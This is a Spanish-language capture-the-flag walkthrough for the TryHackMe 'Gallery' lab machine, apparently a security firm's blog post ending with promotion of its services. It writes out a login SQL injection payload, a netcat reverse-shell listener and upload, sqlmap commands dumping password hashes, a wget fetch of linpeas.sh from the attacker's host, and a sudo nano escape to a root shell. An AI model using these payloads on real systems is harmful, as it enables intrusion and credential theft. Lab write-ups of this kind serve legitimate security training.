Descubre cómo realizar pentesting en la máquina Galley TryHackMe (https://tryhackme.com/room/gallery666) con nuestro completo manual. Aprende los pasos de preparación, técnicas de hackeo y escalada de privilegios. Obtén un enfoque práctico para proteger y fortalecer tus habilidades en seguridad informática. ¡Sigue nuestra guía paso a paso y conviértete en un experto en ciberseguridad!
Paso 1: Preparación del entorno para resolver Galley TryHackMe
Antes de comenzar con el pentesting, es importante realizar los siguientes pasos de preparación:
- Actualización del sistema operativo: Asegúrate de tener la versión más reciente del sistema operativo que utilizarás durante el proceso de pentesting. Esto te garantizará tener las últimas actualizaciones de seguridad y correcciones de errores.
- Organización de archivos: Crea una carpeta dedicada para la máquina que estás analizando. Esto te permitirá mantener tus archivos y resultados organizados de manera efectiva a lo largo del proceso.
- Configuración del archivo de hosts: Agrega la dirección IP de la máquina que estás analizando al archivo de hosts de tu sistema. Esto facilitará el acceso a la máquina durante el proceso de pentesting.
- Registro de indicios: Crea un archivo o registro donde puedas documentar todos los posibles indicios y hallazgos que descubras durante el análisis. Esto te ayudará a llevar un seguimiento ordenado y completo de tu progreso y resultados.
Realizar estos pasos de preparación garantizará que tengas un entorno adecuado y organizado para llevar a cabo el pentesting de manera eficiente.
Paso 2: Comienza el Hackeo en Galley TryHackMe
Una vez que hayas preparado el entorno, procede con los siguientes pasos para iniciar el hackeo:
Comprobación de disponibilidad: Para verificar si la máquina objetivo está en línea, utiliza el comando ping -c 1 [ip_maquina]
. Esto enviará un solo paquete de ping a la dirección IP de la máquina y te indicará si está accesible.
Enumeración de puertos abiertos: Utiliza el siguiente comando para identificar los puertos abiertos en la máquina objetivo y responder la primera pregunta planteada:
nmap -A -sCVS --min-rate 5000 -n -v -Pn [ip_maquina] -oN gallery_nmap
Este comando utiliza Nmap para realizar un escaneo exhaustivo de la máquina y muestra información detallada sobre los servicios y versiones en los puertos abiertos. El resultado revelará que los puertos 80 y 8080 están abiertos.
Escaneo web con WhatWeb: A continuación, utiliza el comando whatweb [ip_maquina]:80
y whatweb [ip_maquina]:8080
para realizar un escaneo web en los puertos abiertos. Esto proporcionará información sobre las tecnologías y aplicaciones utilizadas en los servicios web.
Exploración de la aplicación con Dirb: Para buscar posibles directorios y archivos ocultos en la aplicación web que se encuentra en el puerto 8080, ejecuta el siguiente comando:
dirb http://gallery.thm:8080
Dirb realizará un análisis exhaustivo de la aplicación en busca de rutas y archivos que puedan ser relevantes para el hackeo.
Paso 3: Búsqueda de Exploits
Después de realizar los pasos anteriores sin encontrar resultados, es hora de buscar posibles exploits que puedan ser aprovechados en la versión de «Simple Image Gallery». Sigue los siguientes pasos:
Utiliza la herramienta searchsploit
para buscar exploits relacionados con la versión de «Simple Image Gallery»:
searchsploit simple image gallery
Este comando buscará en la base de datos de exploits de la herramienta «searchsploit» y mostrará posibles exploits disponibles para la versión específica de «Simple Image Gallery».
Encuentra y selecciona dos posibles exploits que parezcan relevantes para tu objetivo.
Prueba el primer exploit seleccionado que permita una inyección SQL en el campo de inicio de sesión. Por ejemplo, si el exploit muestra una inyección SQL exitosa utilizando el usuario «admin» con la siguiente cadena: admin' or '1'='1'#
, realiza la inyección en el campo de inicio de sesión para loguearte como administrador:
username: admin' or '1'='1'#
password: [deja en blanco]
Si la inyección SQL tiene éxito, obtendrás acceso al sitio como administrador.
Una vez dentro del sitio, explora las funcionalidades y opciones disponibles. Observa la sección de álbumes y verifica que existe la posibilidad de subir una «shell reversa».
Configura un listener en tu máquina atacante utilizando netcat para escuchar conexiones entrantes en un puerto específico:
nc -nlvp [puerto]
Haz clic en la opción de subir archivo para subir una «shell reversa» en el sitio web. Esto iniciará una conexión a tu máquina atacante y proporcionará acceso al servidor objetivo.
Paso 4: Segundo Exploit y Obtención del Hash de Contraseña
Salimos del Shell reverso y vamos a explorar otras opciones, con el otro exploit, para volver al shell reverso tenemos tiempo, y además aprenderemos nuevas formas de ataques y obtención de objetivos.
Abre Burp Suite y captura una solicitud HTTP cuando cargas una imagen en la aplicación. Guarda la solicitud capturada en un archivo llamado «test.req».
Utiliza la herramienta sqlmap
para analizar la solicitud capturada y obtener información sobre las bases de datos presentes en la aplicación:
sqlmap -r test.req --dbs
Este comando enviará la solicitud capturada a la herramienta sqlmap
, que analizará la estructura de la base de datos en busca de posibles vulnerabilidades.
Una vez obtenidos los nombres de las bases de datos, como «gallery_db» e «information_schema», ejecuta el siguiente comando para enumerar las tablas en la base de datos seleccionada:
sqlmap -r test.req -D database_name --tables
Reemplaza «database_name» por el nombre de la base de datos que deseas explorar.
Ahora, para obtener información sobre los usuarios y sus hashes de contraseña, ejecuta el siguiente comando:
sqlmap -r test.req -D database_name -T table_name --dump
Reemplaza «database_name» por el nombre de la base de datos y «table_name» por el nombre de la tabla que contiene los datos de los usuarios. Este comando extraerá la información de los usuarios, incluyendo los hashes de contraseña, si están disponibles.
Paso 5: Volver a la Shell Reversa en Galley TryHackMe
En este paso, retomaremos el uso de la shell reversa para obtener acceso al servidor objetivo. Sigue los siguientes pasos:
Configura una shell reversa en la máquina atacante para establecer la conexión con el servidor. Para mejorar la shell reversa, utiliza el siguiente comando:
script /dev/null -c bash
Esta línea de comando mejorará la interactividad y estabilidad de la shell reversa.
Exporta la variable de entorno «TERM» a «xterm» para asegurar una correcta visualización del terminal:
export TERM=xterm
Monta un servidor HTTP en tu máquina atacante utilizando Python para transferir el archivo «linpeas.sh» al servidor objetivo. Ejecuta el siguiente comando:
python3 -m http.server
Esto iniciará un servidor HTTP en tu máquina atacante.
En la máquina víctima, accede a un directorio en el que tengas los permisos necesarios y descarga el archivo «linpeas.sh» desde tu servidor atacante. Por ejemplo, si has elegido el directorio «/tmp», utiliza el siguiente comando:
wget [tu_ip]:8000/linpeas.sh -O /tmp/linpeas.sh
Asegúrate de reemplazar «[tu_ip]» con la dirección IP de tu máquina atacante.
Otorga permisos de ejecución al archivo «linpeas.sh»:
chmod +x /tmp/linpeas.sh
Ejecuta el script «linpeas.sh» para buscar vulnerabilidades en el sistema:
bash /tmp/linpeas.sh
Espera a que el script finalice su ejecución y analiza los resultados en busca de posibles vulnerabilidades.
Durante el análisis, es posible que descubras una contraseña de usuario. Prueba esta contraseña con el usuario «mike» utilizando el siguiente comando:
su mike
Si la contraseña es correcta, ahora tendrás acceso como el usuario «mike».
Verifica los permisos disponibles para tu usuario utilizando el comando:
sudo -l
Observa si tienes permisos para ejecutar archivos con la ruta «/bin/bash» utilizando el comando «sudo».
Paso 6: Escalada de Privilegios Final para Galley TryHackMe
En este paso, realizaremos la escalada final de privilegios utilizando una vulnerabilidad específica en el comando nano
. Sigue los siguientes pasos:
Al hacer cat
en el archivo en cuestión, descubrimos que podemos escalar privilegios utilizando nano
con la opción read
. Para obtener más información sobre cómo aprovechar esta vulnerabilidad, sigue las instrucciones detalladas en el siguiente enlace: https://gtfobins.github.io/gtfobins/nano/#sudo
Vamos a obtener una shell mejorada utilizando los siguientes pasos:
- Escribe
script /dev/null -c bash
en la línea de comandos y presionaCtrl+Z
para suspender el proceso. - Una vez en tu terminal, escribe
- stty raw -echo ; fg
y presionaEnter
. Esto reanudará la ejecución del proceso suspendido. - Ahora estarás de vuelta en la shell. Escribe
reset
y presionaEnter
.
Ejecuta el comando sudo -l
para verificar los privilegios disponibles. Observa la opción encontrada para ejecutar sudo /bin/bash /opt/rootkit.sh
. Sin embargo, es posible que recibas un error de terminal.
Para solucionar el error de terminal, escribe export TERM=xterm
y presiona Enter
.
Ahora, ejecuta nuevamente el comando sudo /bin/bash /opt/rootkit.sh
y en las opciones de nano
, elige read
.
Ahora, realiza los siguientes pasos en nano
:
^R^X (Ctrl+R, Ctrl+X)
Esto te proporcionará una línea de comandos en la parte inferior de nano
. Escribe:
reset; sh 1>&0 2>&0
Esto establecerá una nueva sesión de shell.
¡Ahora serás el usuario root
! Puedes obtener la última bandera y realizar cualquier acción como root
.
Siguiendo estos pasos, lograrás la escalada final de privilegios y obtendrás acceso como usuario root
. Asegúrate de seguir las mejores prácticas de seguridad y actuar de manera ética en todo momento.
Resumen del proceso y tipo de máquina trabajada:
En este manual, se ha seguido un proceso paso a paso para realizar el pentesting de la máquina Gallery en Try Hack Me. Se han cubierto los siguientes aspectos clave:
- Preparación del entorno: Actualización del sistema operativo, organización de archivos, configuración del archivo de hosts y registro de indicios.
- Comienzo del hackeo: Comprobación de disponibilidad, enumeración de puertos abiertos, escaneo web con WhatWeb y exploración de la aplicación con Dirb.
- Búsqueda de exploits: Utilización de la herramienta «searchsploit» para buscar exploits relacionados con la versión de «Simple Image Gallery» y prueba de exploits seleccionados.
- Obtención del hash de contraseña: Captura de una solicitud HTTP con Burp Suite, análisis de la solicitud con «sqlmap» para obtener información sobre las bases de datos, tablas y usuarios, y extracción de los hashes de contraseña.
- Volver a la shell reversa: Configuración de la shell reversa, transferencia de archivos y búsqueda de vulnerabilidades en el sistema.
- Escalada de privilegios final: Utilización de una vulnerabilidad en el comando «nano» para realizar la escalada de privilegios hasta el usuario «root».
Según la experiencia proporcionada, la máquina Gallery de Try Hack Me es una máquina de nivel intermedio, aunque en la plataforma es fácil. Proporciona la oportunidad de practicar varias técnicas de pentesting, incluyendo enumeración de puertos, análisis de aplicaciones web, búsqueda de exploits, obtención de información de bases de datos y escalada de privilegios. Este tipo de máquinas son ideales para aquellos que desean mejorar sus habilidades en seguridad informática y familiarizarse con los procesos y herramientas utilizados en el pentesting.
Confía en DCSeguridad:
Si estás interesado en fortalecer aún más tus conocimientos y mantenerte al día con las últimas tendencias en seguridad informática, te recomendamos ponerte en contacto con DCSeguridad. Como empresa especializada en seguridad, DCSeguridad puede ofrecerte servicios de consultoría, auditoría y entrenamiento en seguridad informática.
Además, te animamos a unirte a nuestro canal de Telegram. En este canal, compartimos información relevante sobre nuevas vulnerabilidades, técnicas de ataque y mejores prácticas de seguridad. Es un lugar ideal para mantenerse actualizado y participar en discusiones con otros profesionales de seguridad. ¡Únete a nosotros y forma parte de nuestra comunidad dedicada a la seguridad informática!
Recuerda que la seguridad informática es un campo en constante evolución, por lo que es importante seguir aprendiendo y mejorando tus habilidades continuamente. ¡Buena suerte en tu viaje hacia convertirte en un experto en seguridad informática!